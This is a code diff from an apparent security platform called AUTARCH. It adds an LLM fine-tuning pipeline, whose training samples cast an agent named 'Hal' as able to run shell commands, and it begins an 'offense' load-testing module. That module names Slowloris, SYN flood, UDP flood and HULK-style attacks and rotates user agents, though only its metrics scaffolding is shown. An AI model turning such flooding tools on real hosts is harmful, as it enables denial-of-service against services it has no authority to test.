+ scenarios = [
+ ("Create a defense module that monitors port 5555 for incoming connections",
+ "port_monitor", "defense",
+ "Monitors a specific port for incoming TCP connections and alerts on new connections."),
+ ("Create an OSINT module that looks up domain WHOIS information",
+ "whois_lookup", "osint",
+ "Performs WHOIS lookups on domains to gather registration information."),
+ ("Create an analyze module that checks for open S3 buckets",
+ "s3_checker", "analyze",
+ "Checks if AWS S3 buckets are publicly accessible."),
+ ]
+ for prompt, name, cat, desc in scenarios:
+ pairs.append(self._make_sample(
+ prompt,
+ f"I'll create the `{name}.py` module in the `{cat}` category.\n\n"
+ f"```python\n"
+ f'"""\n{desc}\n"""\n'
+ f"import os\nimport sys\nimport subprocess\nimport socket\n"
+ f"from pathlib import Path\n\n"
+ f"DESCRIPTION = \"{desc}\"\n"
+ f"AUTHOR = \"darkHal\"\nVERSION = \"1.0\"\n"
+ f"CATEGORY = \"{cat}\"\n\n"
+ f"sys.path.insert(0, str(Path(__file__).parent.parent))\n"
+ f"from core.banner import Colors\n\n\n"
+ f"class {name.title().replace('_', '')}:\n"
+ f" def print_status(self, msg, status='info'):\n"
+ f" colors = {{'info': Colors.CYAN, 'success': Colors.GREEN, "
+ f"'warning': Colors.YELLOW, 'error': Colors.RED}}\n"
+ f" symbols = {{'info': '*', 'success': '+', 'warning': '!', 'error': 'X'}}\n"
+ f" print(f\"{{colors.get(status, Colors.WHITE)}}"
+ f"[{{symbols.get(status, '*')}}] {{msg}}{{Colors.RESET}}\")\n\n"
+ f" def run_cmd(self, cmd, timeout=30):\n"
+ f" try:\n"
+ f" r = subprocess.run(cmd, shell=True, capture_output=True, "
+ f"text=True, timeout=timeout)\n"
+ f" return r.returncode == 0, r.stdout.strip()\n"
+ f" except Exception as e:\n"
+ f" return False, str(e)\n\n\n"
+ f"def run():\n"
+ f" mod = {name.title().replace('_', '')}()\n"
+ f" mod.print_status('Starting {desc.lower()}')\n"
+ f"```\n\n"
+ f"This module is saved as `modules/{name}.py` and will appear in the "
+ f"{cat} category on the dashboard.",
+ format
+ ))
+
+ return pairs
+
+ def _generate_identity_samples(self, format):
+ """Generate identity and behavior training data."""
+ pairs = []
+
+ pairs.append(self._make_sample(
+ "Who are you?",
+ "I'm Hal, the AI agent powering Project AUTARCH — an autonomous security "
+ "platform built by darkHal Security Group. I can create new tools and modules, "
+ "analyze code, run system commands, and help with security operations.",
+ format
+ ))
+
+ pairs.append(self._make_sample(
+ "What can you do?",
+ "I can:\n"
+ "- Create new AUTARCH modules on demand (defense, offense, analyze, etc.)\n"
+ "- Read and analyze source code files\n"
+ "- Execute shell commands\n"
+ "- Search the codebase for patterns and files\n"
+ "- Help with security analysis and tool development\n"
+ "- Explain how AUTARCH works\n"
+ "- Write Python code following AUTARCH's module patterns",
+ format
+ ))
+
+ pairs.append(self._make_sample(
+ "What tools do you have access to?",
+ "I have these tools:\n"
+ "- `shell` — Execute system commands\n"
+ "- `read_file` — Read file contents\n"
+ "- `write_file` — Write files\n"
+ "- `list_dir` — List directory contents\n"
+ "- `search_files` — Search for files by name\n"
+ "- `search_content` — Search file contents (grep)\n"
+ "- `create_module` — Create a new AUTARCH module (validates and saves to modules/)\n\n"
+ "When asked to create a module, I use the `create_module` tool which validates "
+ "the code has the required metadata (DESCRIPTION, AUTHOR, VERSION, CATEGORY) and "
+ "a `run()` function, then saves it to the `modules/` directory.",
+ format
+ ))
+
+ return pairs
+
+ # ==================== LIST DATASETS ====================
+
+ def list_datasets(self):
+ """List generated training datasets."""
+ datasets = []
+ if self._training_dir.exists():
+ for f in sorted(self._training_dir.glob('*.jsonl'), reverse=True):
+ try:
+ line_count = sum(1 for _ in open(f, encoding='utf-8'))
+ datasets.append({
+ 'filename': f.name,
+ 'path': str(f),
+ 'size_bytes': f.stat().st_size,
+ 'sample_count': line_count,
+ 'created': datetime.fromtimestamp(f.stat().st_mtime).isoformat(),
+ })
+ except Exception:
+ pass
+ return datasets
+
+ def preview_dataset(self, filename, limit=10):
+ """Preview samples from a dataset file."""
+ filepath = self._training_dir / filename
+ if not filepath.exists():
+ return {'error': 'Dataset not found'}
+
+ samples = []
+ try:
+ with open(filepath, 'r', encoding='utf-8') as f:
+ for i, line in enumerate(f):
+ if i >= limit:
+ break
+ samples.append(json.loads(line))
+ except Exception as e:
+ return {'error': str(e)}
+
+ return {'filename': filename, 'samples': samples, 'total': i + 1 if samples else 0}
+
+ def delete_dataset(self, filename):
+ """Delete a dataset file."""
+ filepath = self._training_dir / filename
+ if filepath.exists() and filepath.suffix == '.jsonl':
+ filepath.unlink()
+ return True
+ return False
+
+ # ==================== TRAINING ====================
+
+ def get_training_config(self):
+ """Get default training configuration."""
+ return {
+ 'base_model': '',
+ 'dataset': '',
+ 'output_dir': str(self._training_dir / 'output'),
+ 'lora_r': 16,
+ 'lora_alpha': 32,
+ 'lora_dropout': 0.05,
+ 'num_epochs': 3,
+ 'batch_size': 4,
+ 'gradient_accumulation_steps': 4,
+ 'learning_rate': 2e-4,
+ 'max_seq_length': 2048,
+ 'warmup_ratio': 0.03,
+ 'use_4bit': True,
+ 'use_unsloth': False,
+ 'save_steps': 50,
+ 'logging_steps': 10,
+ }
+
+ def browse_models(self, directory=''):
+ """Browse local directories for model files (HuggingFace format)."""
+ if not directory:
+ directory = str(self._models_dir)
+ target = Path(directory)
+ if not target.exists():
+ return {'error': f'Directory not found: {directory}', 'entries': []}
+
+ entries = []
+ try:
+ for item in sorted(target.iterdir()):
+ if item.name.startswith('.'):
+ continue
+ entry = {
+ 'name': item.name,
+ 'path': str(item).replace('\\', '/'),
+ 'is_dir': item.is_dir(),
+ }
+ if item.is_dir():
+ # Check if it looks like a HuggingFace model directory
+ has_config = (item / 'config.json').exists()
+ has_model = any(item.glob('*.safetensors')) or any(item.glob('*.bin'))
+ entry['is_model'] = has_config and has_model
+ elif item.suffix in ('.gguf', '.bin', '.safetensors'):
+ entry['size_gb'] = round(item.stat().st_size / (1024**3), 2)
+ entries.append(entry)
+ except PermissionError:
+ return {'error': f'Permission denied: {directory}', 'entries': []}
+
+ return {
+ 'current_dir': str(target).replace('\\', '/'),
+ 'parent_dir': str(target.parent).replace('\\', '/') if target.parent != target else None,
+ 'entries': entries,
+ }
+
+ def start_training(self, config):
+ """Start LoRA fine-tuning in a background process."""
+ if self._training_process and self._training_process.poll() is None:
+ return {'error': 'Training already in progress'}
+
+ # Check critical dependencies before starting
+ deps = self.check_dependencies()
+ missing = []
+ for pkg in ['torch', 'transformers', 'peft', 'datasets', 'trl']:
+ if not deps.get(pkg, {}).get('installed'):
+ missing.append(pkg)
+ if missing:
+ return {'error': f'Missing required packages: {", ".join(missing)}. Go to the Dependencies tab to install them.'}
+
+ self._status['phase'] = 'training'
+ self._status['progress'] = 0
+ self._status['message'] = 'Starting training...'
+ self._log('Starting LoRA fine-tuning...')
+
+ # Generate the training script
+ script_path = self._training_dir / 'train_lora.py'
+ output_dir = Path(config.get('output_dir', str(self._training_dir / 'output')))
+ output_dir.mkdir(parents=True, exist_ok=True)
+ config['output_dir'] = str(output_dir)
+
+ script = self._generate_training_script(config)
+ script_path.write_text(script, encoding='utf-8')
+ self._log(f'Training script written to {script_path}')
+
+ # Run in background
+ log_path = self._training_dir / 'training.log'
+ try:
+ with open(log_path, 'w') as log_file:
+ self._training_process = subprocess.Popen(
+ [sys.executable, str(script_path)],
+ stdout=log_file,
+ stderr=subprocess.STDOUT,
+ cwd=str(self._project_root),
+ )
+ self._log(f'Training started (PID: {self._training_process.pid})')
+ return {
+ 'success': True,
+ 'pid': self._training_process.pid,
+ 'log_path': str(log_path),
+ 'output_dir': str(output_dir),
+ }
+ except Exception as e:
+ self._status['phase'] = 'idle'
+ self._log(f'Failed to start training: {e}', 'error')
+ return {'error': str(e)}
+
+ def _generate_training_script(self, config):
+ """Generate the LoRA training Python script."""
+ # Use forward slashes for all paths to avoid Python escape sequence issues
+ dataset_path = config.get('dataset', '').replace('\\', '/')
+ base_model = config.get('base_model', '').replace('\\', '/')
+ output_dir = config.get('output_dir', str(self._training_dir / 'output')).replace('\\', '/')
+
+ use_unsloth = config.get('use_unsloth', False)
+
+ if use_unsloth:
+ return f'''#!/usr/bin/env python3
+"""AUTARCH LoRA Training Script (Unsloth)"""
+import json
+from unsloth import FastLanguageModel
+from datasets import Dataset
+from trl import SFTTrainer
+from transformers import TrainingArguments
+
+# Load model
+model, tokenizer = FastLanguageModel.from_pretrained(
+ model_name="{base_model}",
+ max_seq_length={config.get('max_seq_length', 2048)},
+ load_in_4bit={config.get('use_4bit', True)},
+)
+
+# Add LoRA adapters
+model = FastLanguageModel.get_peft_model(
+ model,
+ r={config.get('lora_r', 16)},
+ lora_alpha={config.get('lora_alpha', 32)},
+ lora_dropout={config.get('lora_dropout', 0.05)},
+ target_modules=["q_proj", "k_proj", "v_proj", "o_proj",
+ "gate_proj", "up_proj", "down_proj"],
+)
+
+# Load dataset
+samples = []
+with open("{dataset_path}", "r") as f:
+ for line in f:
+ samples.append(json.loads(line))
+
+def format_sample(sample):
+ if "conversations" in sample:
+ msgs = sample["conversations"]
+ text = ""
+ for msg in msgs:
+ role = "user" if msg["from"] == "human" else "assistant"
+ text += f"<|im_start|>{{role}}\\n{{msg['value']}}<|im_end|>\\n"
+ return {{"text": text}}
+ else:
+ return {{"text": f"<|im_start|>user\\n{{sample['instruction']}}\\n{{sample.get('input','')}}<|im_end|>\\n<|im_start|>assistant\\n{{sample['output']}}<|im_end|>\\n"}}
+
+dataset = Dataset.from_list([format_sample(s) for s in samples])
+
+# Train
+trainer = SFTTrainer(
+ model=model,
+ tokenizer=tokenizer,
+ train_dataset=dataset,
+ dataset_text_field="text",
+ max_seq_length={config.get('max_seq_length', 2048)},
+ args=TrainingArguments(
+ output_dir="{output_dir}",
+ num_train_epochs={config.get('num_epochs', 3)},
+ per_device_train_batch_size={config.get('batch_size', 4)},
+ gradient_accumulation_steps={config.get('gradient_accumulation_steps', 4)},
+ learning_rate={config.get('learning_rate', 2e-4)},
+ warmup_ratio={config.get('warmup_ratio', 0.03)},
+ save_steps={config.get('save_steps', 50)},
+ logging_steps={config.get('logging_steps', 10)},
+ fp16=True,
+ optim="adamw_8bit",
+ ),
+)
+
+print("Starting training...")
+trainer.train()
+print("Training complete!")
+
+# Save
+model.save_pretrained("{output_dir}/lora_adapter")
+tokenizer.save_pretrained("{output_dir}/lora_adapter")
+print(f"LoRA adapter saved to {output_dir}/lora_adapter")
+'''
+ else:
+ return f'''#!/usr/bin/env python3
+"""AUTARCH LoRA Training Script (Transformers + PEFT)"""
+import json
+import torch
+from datasets import Dataset
+from transformers import (
+ AutoModelForCausalLM, AutoTokenizer, TrainingArguments,
+ BitsAndBytesConfig,
+)
+from peft import LoraConfig, get_peft_model, prepare_model_for_kbit_training
+from trl import SFTTrainer
+
+# Quantization config
+bnb_config = BitsAndBytesConfig(
+ load_in_4bit={config.get('use_4bit', True)},
+ bnb_4bit_quant_type="nf4",
+ bnb_4bit_compute_dtype=torch.float16,
+ bnb_4bit_use_double_quant=True,
+) if {config.get('use_4bit', True)} else None
+
+print("Loading base model: {base_model}")
+model = AutoModelForCausalLM.from_pretrained(
+ "{base_model}",
+ quantization_config=bnb_config,
+ device_map="auto",
+ trust_remote_code=False,
+)
+tokenizer = AutoTokenizer.from_pretrained("{base_model}", trust_remote_code=False)
+if tokenizer.pad_token is None:
+ tokenizer.pad_token = tokenizer.eos_token
+
+if {config.get('use_4bit', True)}:
+ model = prepare_model_for_kbit_training(model)
+
+# LoRA config
+lora_config = LoraConfig(
+ r={config.get('lora_r', 16)},
+ lora_alpha={config.get('lora_alpha', 32)},
+ lora_dropout={config.get('lora_dropout', 0.05)},
+ target_modules=["q_proj", "k_proj", "v_proj", "o_proj",
+ "gate_proj", "up_proj", "down_proj"],
+ bias="none",
+ task_type="CAUSAL_LM",
+)
+model = get_peft_model(model, lora_config)
+model.print_trainable_parameters()
+
+# Load dataset
+samples = []
+with open("{dataset_path}", "r") as f:
+ for line in f:
+ samples.append(json.loads(line))
+
+def format_sample(sample):
+ if "conversations" in sample:
+ msgs = sample["conversations"]
+ text = ""
+ for msg in msgs:
+ role = "user" if msg["from"] == "human" else "assistant"
+ text += f"<|im_start|>{{role}}\\n{{msg['value']}}<|im_end|>\\n"
+ return {{"text": text}}
+ else:
+ return {{"text": f"<|im_start|>user\\n{{sample['instruction']}}\\n{{sample.get('input','')}}<|im_end|>\\n<|im_start|>assistant\\n{{sample['output']}}<|im_end|>\\n"}}
+
+dataset = Dataset.from_list([format_sample(s) for s in samples])
+print(f"Dataset: {{len(dataset)}} samples")
+
+# Train
+trainer = SFTTrainer(
+ model=model,
+ tokenizer=tokenizer,
+ train_dataset=dataset,
+ dataset_text_field="text",
+ max_seq_length={config.get('max_seq_length', 2048)},
+ args=TrainingArguments(
+ output_dir="{output_dir}",
+ num_train_epochs={config.get('num_epochs', 3)},
+ per_device_train_batch_size={config.get('batch_size', 4)},
+ gradient_accumulation_steps={config.get('gradient_accumulation_steps', 4)},
+ learning_rate={config.get('learning_rate', 2e-4)},
+ warmup_ratio={config.get('warmup_ratio', 0.03)},
+ save_steps={config.get('save_steps', 50)},
+ logging_steps={config.get('logging_steps', 10)},
+ fp16=True,
+ optim="adamw_8bit",
+ report_to="none",
+ ),
+)
+
+print("Starting training...")
+trainer.train()
+print("Training complete!")
+
+# Save
+model.save_pretrained("{output_dir}/lora_adapter")
+tokenizer.save_pretrained("{output_dir}/lora_adapter")
+print(f"LoRA adapter saved to {output_dir}/lora_adapter")
+'''
+
+ def get_training_status(self):
+ """Get current training status including log tail."""
+ result = dict(self._status)
+
+ if self._training_process:
+ poll = self._training_process.poll()
+ if poll is None:
+ result['training_running'] = True
+ result['pid'] = self._training_process.pid
+ else:
+ result['training_running'] = False
+ result['exit_code'] = poll
+ if self._status['phase'] == 'training':
+ self._status['phase'] = 'idle'
+ self._status['message'] = 'Training finished' if poll == 0 else f'Training failed (exit {poll})'
+ else:
+ result['training_running'] = False
+
+ # Read training log tail
+ log_path = self._training_dir / 'training.log'
+ if log_path.exists():
+ try:
+ lines = log_path.read_text(encoding='utf-8', errors='replace').split('\n')
+ result['training_log'] = '\n'.join(lines[-50:])
+ except Exception:
+ result['training_log'] = ''
+ else:
+ result['training_log'] = ''
+
+ return result
+
+ def stop_training(self):
+ """Stop the running training process."""
+ if self._training_process and self._training_process.poll() is None:
+ self._training_process.terminate()
+ self._training_process.wait(timeout=10)
+ self._status['phase'] = 'idle'
+ self._status['message'] = 'Training stopped by user'
+ self._log('Training stopped by user', 'warning')
+ return True
+ return False
+
+ # ==================== GGUF CONVERSION ====================
+
+ def list_adapters(self):
+ """List saved LoRA adapters."""
+ adapters = []
+ output_dir = self._training_dir / 'output'
+ if output_dir.exists():
+ for d in output_dir.iterdir():
+ if d.is_dir():
+ config_path = d / 'adapter_config.json'
+ if config_path.exists():
+ try:
+ config = json.loads(config_path.read_text())
+ adapters.append({
+ 'name': d.name,
+ 'path': str(d),
+ 'base_model': config.get('base_model_name_or_path', ''),
+ 'r': config.get('r', 0),
+ 'lora_alpha': config.get('lora_alpha', 0),
+ })
+ except Exception:
+ adapters.append({'name': d.name, 'path': str(d)})
+ return adapters
+
+ def merge_and_convert(self, adapter_path, output_name, quantization='Q5_K_M'):
+ """Merge LoRA adapter with base model and convert to GGUF.
+
+ This is a multi-step process:
+ 1. Load base model + LoRA adapter
+ 2. Merge weights
+ 3. Save merged model
+ 4. Convert to GGUF format
+ 5. Quantize
+ """
+ self._status['phase'] = 'converting'
+ self._status['progress'] = 0
+ self._status['message'] = 'Starting merge and conversion...'
+ self._log(f'Starting merge: adapter={adapter_path}, quant={quantization}')
+
+ merged_dir = self._training_dir / 'merged'
+ merged_dir.mkdir(parents=True, exist_ok=True)
+ output_path = self._models_dir / f'{output_name}.gguf'
+
+ # Generate merge+convert script
+ script = f'''#!/usr/bin/env python3
+"""Merge LoRA adapter and convert to GGUF."""
+import json, sys
+from pathlib import Path
+
+adapter_path = Path("{adapter_path}")
+config_path = adapter_path / "adapter_config.json"
+if not config_path.exists():
+ print("ERROR: adapter_config.json not found")
+ sys.exit(1)
+
+config = json.loads(config_path.read_text())
+base_model = config.get("base_model_name_or_path", "")
+if not base_model:
+ print("ERROR: No base_model_name_or_path in adapter config")
+ sys.exit(1)
+
+print(f"Base model: {{base_model}}")
+print(f"Adapter: {{adapter_path}}")
+
+# Step 1: Load and merge
+print("Loading base model...")
+from transformers import AutoModelForCausalLM, AutoTokenizer
+from peft import PeftModel
+
+model = AutoModelForCausalLM.from_pretrained(base_model, device_map="cpu")
+tokenizer = AutoTokenizer.from_pretrained(base_model)
+
+print("Loading LoRA adapter...")
+model = PeftModel.from_pretrained(model, str(adapter_path))
+
+print("Merging weights...")
+model = model.merge_and_unload()
+
+merged_path = "{merged_dir}"
+print(f"Saving merged model to {{merged_path}}")
+model.save_pretrained(merged_path)
+tokenizer.save_pretrained(merged_path)
+print("Merge complete!")
+'''
+ script_path = self._training_dir / 'merge_model.py'
+ script_path.write_text(script, encoding='utf-8')
+
+ # Run merge
+ self._status['message'] = 'Merging LoRA adapter with base model...'
+ self._status['progress'] = 10
+ try:
+ result = subprocess.run(
+ [sys.executable, str(script_path)],
+ capture_output=True, text=True, timeout=1800 # 30 min max
+ )
+ if result.returncode != 0:
+ self._log(f'Merge failed: {result.stderr}', 'error')
+ self._status['phase'] = 'idle'
+ return {'error': f'Merge failed: {result.stderr[-500:]}'}
+ self._log('Merge complete')
+ except subprocess.TimeoutExpired:
+ self._status['phase'] = 'idle'
+ return {'error': 'Merge timed out (30 min limit)'}
+
+ # Convert to GGUF using llama.cpp convert script
+ self._status['message'] = 'Converting to GGUF format...'
+ self._status['progress'] = 60
+
+ # Try to find llama.cpp convert script
+ convert_script = None
+ search_paths = [
+ self._project_root / 'tools' / 'llama.cpp' / 'convert_hf_to_gguf.py',
+ Path.home() / 'llama.cpp' / 'convert_hf_to_gguf.py',
+ ]
+ for p in search_paths:
+ if p.exists():
+ convert_script = p
+ break
+
+ if not convert_script:
+ # Try pip-installed llama-cpp-python convert
+ self._log('llama.cpp convert script not found, trying pip package...', 'warning')
+ try:
+ result = subprocess.run(
+ [sys.executable, '-m', 'llama_cpp.convert',
+ str(merged_dir), '--outfile', str(output_path),
+ '--outtype', quantization.lower()],
+ capture_output=True, text=True, timeout=1800
+ )
+ if result.returncode == 0:
+ self._status['phase'] = 'idle'
+ self._status['progress'] = 100
+ self._log(f'GGUF saved to {output_path}')
+ return {
+ 'success': True,
+ 'output_path': str(output_path),
+ 'size_bytes': output_path.stat().st_size if output_path.exists() else 0,
+ }
+ except Exception:
+ pass
+
+ self._status['phase'] = 'idle'
+ self._status['message'] = 'Merged model saved but GGUF conversion requires llama.cpp'
+ return {
+ 'partial': True,
+ 'merged_path': str(merged_dir),
+ 'message': 'Model merged successfully. To convert to GGUF, install llama.cpp '
+ 'and run: python convert_hf_to_gguf.py --outfile ',
+ }
+
+ # Run convert script
+ try:
+ result = subprocess.run(
+ [sys.executable, str(convert_script),
+ str(merged_dir), '--outfile', str(output_path),
+ '--outtype', 'f16'],
+ capture_output=True, text=True, timeout=1800
+ )
+ if result.returncode != 0:
+ self._status['phase'] = 'idle'
+ return {'error': f'GGUF conversion failed: {result.stderr[-500:]}'}
+ except subprocess.TimeoutExpired:
+ self._status['phase'] = 'idle'
+ return {'error': 'GGUF conversion timed out'}
+
+ # Quantize if not f16
+ if quantization.upper() != 'F16':
+ self._status['message'] = f'Quantizing to {quantization}...'
+ self._status['progress'] = 80
+
+ quantize_bin = None
+ for p in [self._project_root / 'tools' / 'llama.cpp' / 'llama-quantize',
+ Path.home() / 'llama.cpp' / 'llama-quantize',
+ Path('/usr/local/bin/llama-quantize')]:
+ if p.exists():
+ quantize_bin = p
+ break
+ # Check .exe variant on Windows
+ p_exe = p.with_suffix('.exe')
+ if p_exe.exists():
+ quantize_bin = p_exe
+ break
+
+ if quantize_bin:
+ quant_output = output_path.with_stem(f'{output_name}_{quantization}')
+ try:
+ result = subprocess.run(
+ [str(quantize_bin), str(output_path),
+ str(quant_output), quantization],
+ capture_output=True, text=True, timeout=1800
+ )
+ if result.returncode == 0:
+ # Replace f16 with quantized version
+ output_path.unlink()
+ shutil.move(str(quant_output), str(output_path))
+ self._log(f'Quantized to {quantization}')
+ except Exception as e:
+ self._log(f'Quantization failed: {e}', 'warning')
+
+ self._status['phase'] = 'idle'
+ self._status['progress'] = 100
+ self._status['message'] = f'GGUF model saved: {output_path.name}'
+ self._log(f'GGUF model saved to {output_path}')
+
+ return {
+ 'success': True,
+ 'output_path': str(output_path),
+ 'size_bytes': output_path.stat().st_size if output_path.exists() else 0,
+ }
+
+ def list_models(self):
+ """List available GGUF models."""
+ models = []
+ if self._models_dir.exists():
+ for f in sorted(self._models_dir.glob('*.gguf')):
+ models.append({
+ 'name': f.stem,
+ 'filename': f.name,
+ 'path': str(f),
+ 'size_bytes': f.stat().st_size,
+ 'size_gb': round(f.stat().st_size / (1024**3), 2),
+ 'modified': datetime.fromtimestamp(f.stat().st_mtime).isoformat(),
+ })
+ return models
+
+ # ==================== EVALUATION ====================
+
+ def evaluate_model(self, model_path, test_prompts=None):
+ """Quick evaluation of a GGUF model with test prompts."""
+ if not test_prompts:
+ test_prompts = [
+ "What is AUTARCH?",
+ "How do I create a new defense module?",
+ "What module categories does AUTARCH support?",
+ "Create a module that scans for open ports on localhost.",
+ ]
+
+ self._status['phase'] = 'evaluating'
+ self._status['message'] = 'Loading model for evaluation...'
+ self._log(f'Evaluating model: {model_path}')
+
+ results = []
+ try:
+ from core.llm import LLM
+ llm = LLM()
+ llm.load_model(model_path)
+
+ for i, prompt in enumerate(test_prompts):
+ self._status['progress'] = int((i / len(test_prompts)) * 100)
+ self._status['message'] = f'Testing prompt {i+1}/{len(test_prompts)}...'
+
+ response = llm.generate(prompt, max_tokens=512)
+ results.append({
+ 'prompt': prompt,
+ 'response': response,
+ 'length': len(response),
+ })
+
+ except Exception as e:
+ self._status['phase'] = 'idle'
+ return {'error': str(e)}
+
+ self._status['phase'] = 'idle'
+ self._status['progress'] = 100
+ self._status['message'] = 'Evaluation complete'
+ return {'results': results, 'model': model_path}
+
+
+# ==================== SINGLETON ====================
+
+_trainer_instance = None
+
+
+def get_trainer():
+ """Get or create singleton LLMTrainer instance."""
+ global _trainer_instance
+ if _trainer_instance is None:
+ _trainer_instance = LLMTrainer()
+ return _trainer_instance
+
+
+# ==================== CLI ====================
+
+def run():
+ """CLI entry point."""
+ from core.banner import Colors, clear_screen, display_banner
+ clear_screen()
+ display_banner()
+ print(f"\n{Colors.BOLD}{Colors.CYAN}LLM Trainer{Colors.RESET}\n")
+
+ trainer = LLMTrainer()
+
+ print(f"{Colors.CYAN}[*] Checking dependencies...{Colors.RESET}")
+ deps = trainer.check_dependencies()
+ for name, info in deps.items():
+ if isinstance(info, dict) and 'installed' in info:
+ status = f"{Colors.GREEN}v{info['version']}{Colors.RESET}" if info['installed'] else f"{Colors.RED}Not installed{Colors.RESET}"
+ print(f" {name}: {status}")
+
+ print(f"\n{Colors.CYAN}[*] Scanning codebase...{Colors.RESET}")
+ scan = trainer.scan_codebase()
+ print(f" Files: {scan['total_files']}")
+ print(f" Lines: {scan['total_lines']}")
+
+ while True:
+ print(f"\n{Colors.BOLD}Options:{Colors.RESET}")
+ print(" 1. Generate training dataset")
+ print(" 2. List datasets")
+ print(" 3. Check dependencies")
+ print(" 4. Install dependencies")
+ print(" 0. Exit")
+
+ choice = input(f"\n{Colors.CYAN}Select: {Colors.RESET}").strip()
+ if choice == '1':
+ result = trainer.generate_dataset()
+ print(f"\n{Colors.GREEN}[+] Generated {result['sample_count']} samples{Colors.RESET}")
+ print(f" File: {result['path']}")
+ elif choice == '2':
+ datasets = trainer.list_datasets()
+ for d in datasets:
+ print(f" {d['filename']} — {d['sample_count']} samples, "
+ f"{d['size_bytes']//1024}KB")
+ elif choice == '3':
+ deps = trainer.check_dependencies()
+ for name, info in deps.items():
+ if isinstance(info, dict) and 'installed' in info:
+ status = f"{Colors.GREEN}v{info['version']}{Colors.RESET}" if info['installed'] else f"{Colors.RED}Missing{Colors.RESET}"
+ print(f" {name}: {status}")
+ elif choice == '4':
+ results = trainer.install_dependencies()
+ for r in results:
+ status = f"{Colors.GREEN}OK{Colors.RESET}" if r['success'] else f"{Colors.RED}FAIL{Colors.RESET}"
+ print(f" {r['package']}: {status}")
+ elif choice == '0':
+ break
+
+ input("\nPress Enter to continue...")
diff --git a/modules/loadtest.py b/modules/loadtest.py
new file mode 100644
index 0000000..b970e58
--- /dev/null
+++ b/modules/loadtest.py
@@ -0,0 +1,1097 @@
+"""AUTARCH Load Testing Module
+
+Multi-protocol load/stress testing tool combining features from
+Apache Bench, Locust, k6, wrk, Slowloris, and HULK.
+
+Supports: HTTP/HTTPS GET/POST/PUT/DELETE, Slowloris, SYN flood,
+UDP flood, TCP connect flood, with real-time metrics and ramp-up patterns.
+"""
+
+DESCRIPTION = "Load & stress testing toolkit"
+AUTHOR = "darkHal"
+VERSION = "1.0"
+CATEGORY = "offense"
+
+import time
+import threading
+import random
+import string
+import socket
+import ssl
+import struct
+import queue
+import json
+import statistics
+from dataclasses import dataclass, field
+from typing import Dict, List, Optional, Any
+from enum import Enum
+from collections import deque
+from urllib.parse import urlparse
+
+# Optional: requests for HTTP tests
+try:
+ import requests
+ from requests.adapters import HTTPAdapter
+ REQUESTS_AVAILABLE = True
+except ImportError:
+ REQUESTS_AVAILABLE = False
+
+
+class AttackType(Enum):
+ HTTP_FLOOD = "http_flood"
+ HTTP_SLOWLORIS = "slowloris"
+ TCP_CONNECT = "tcp_connect"
+ UDP_FLOOD = "udp_flood"
+ SYN_FLOOD = "syn_flood"
+
+
+class RampPattern(Enum):
+ CONSTANT = "constant" # All workers at once
+ LINEAR = "linear" # Gradually add workers
+ STEP = "step" # Add workers in bursts
+ SPIKE = "spike" # Burst → sustain → burst
+
+
+@dataclass
+class RequestResult:
+ status_code: int = 0
+ latency_ms: float = 0.0
+ bytes_sent: int = 0
+ bytes_received: int = 0
+ success: bool = False
+ error: str = ""
+ timestamp: float = 0.0
+
+
+@dataclass
+class TestMetrics:
+ """Live metrics for a running load test."""
+ total_requests: int = 0
+ successful: int = 0
+ failed: int = 0
+ bytes_sent: int = 0
+ bytes_received: int = 0
+ start_time: float = 0.0
+ elapsed: float = 0.0
+ active_workers: int = 0
+ status_codes: Dict[int, int] = field(default_factory=dict)
+ latencies: List[float] = field(default_factory=list)
+ errors: Dict[str, int] = field(default_factory=dict)
+ rps_history: List[float] = field(default_factory=list)
+
+ @property
+ def rps(self) -> float:
+ if self.elapsed <= 0:
+ return 0.0
+ return self.total_requests / self.elapsed
+
+ @property
+ def avg_latency(self) -> float:
+ return statistics.mean(self.latencies) if self.latencies else 0.0
+
+ @property
+ def p50_latency(self) -> float:
+ if not self.latencies:
+ return 0.0
+ s = sorted(self.latencies)
+ return s[len(s) // 2]
+
+ @property
+ def p95_latency(self) -> float:
+ if not self.latencies:
+ return 0.0
+ s = sorted(self.latencies)
+ return s[int(len(s) * 0.95)]
+
+ @property
+ def p99_latency(self) -> float:
+ if not self.latencies:
+ return 0.0
+ s = sorted(self.latencies)
+ return s[int(len(s) * 0.99)]
+
+ @property
+ def max_latency(self) -> float:
+ return max(self.latencies) if self.latencies else 0.0
+
+ @property
+ def min_latency(self) -> float:
+ return min(self.latencies) if self.latencies else 0.0
+
+ @property
+ def success_rate(self) -> float:
+ if self.total_requests <= 0:
+ return 0.0
+ return (self.successful / self.total_requests) * 100
+
+ @property
+ def error_rate(self) -> float:
+ if self.total_requests <= 0:
+ return 0.0
+ return (self.failed / self.total_requests) * 100
+
+ def to_dict(self) -> dict:
+ return {
+ 'total_requests': self.total_requests,
+ 'successful': self.successful,
+ 'failed': self.failed,
+ 'bytes_sent': self.bytes_sent,
+ 'bytes_received': self.bytes_received,
+ 'elapsed': round(self.elapsed, 2),
+ 'active_workers': self.active_workers,
+ 'rps': round(self.rps, 1),
+ 'avg_latency': round(self.avg_latency, 2),
+ 'p50_latency': round(self.p50_latency, 2),
+ 'p95_latency': round(self.p95_latency, 2),
+ 'p99_latency': round(self.p99_latency, 2),
+ 'max_latency': round(self.max_latency, 2),
+ 'min_latency': round(self.min_latency, 2),
+ 'success_rate': round(self.success_rate, 1),
+ 'error_rate': round(self.error_rate, 1),
+ 'status_codes': dict(self.status_codes),
+ 'top_errors': dict(sorted(self.errors.items(), key=lambda x: -x[1])[:5]),
+ 'rps_history': list(self.rps_history[-60:]),
+ }
+
+
+# User-agent rotation pool
+USER_AGENTS = [
+ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36",
+ "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 Safari/605.1.15",
+ "Mozilla/5.0 (X11; Linux x86_64; rv:121.0) Gecko/20100101 Firefox/121.0",
+ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Edge/120.0.0.0",
+ "Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 Mobile/15E148",
+ "Mozilla/5.0 (Linux; Android 14) AppleWebKit/537.36 Chrome/120.0.0.0 Mobile Safari/537.36",
+ "curl/8.4.0",
+ "python-requests/2.31.0",
+]
+
+
+class LoadTester:
+ """Multi-protocol load testing engine."""
+
+ def __init__(self):
+ self._stop_event = threading.Event()
+ self._pause_event = threading.Event()
+ self._pause_event.set() # Not paused by default
+ self._workers: List[threading.Thread] = []
+ self._metrics = TestMetrics()
+ self._metrics_lock = threading.Lock()
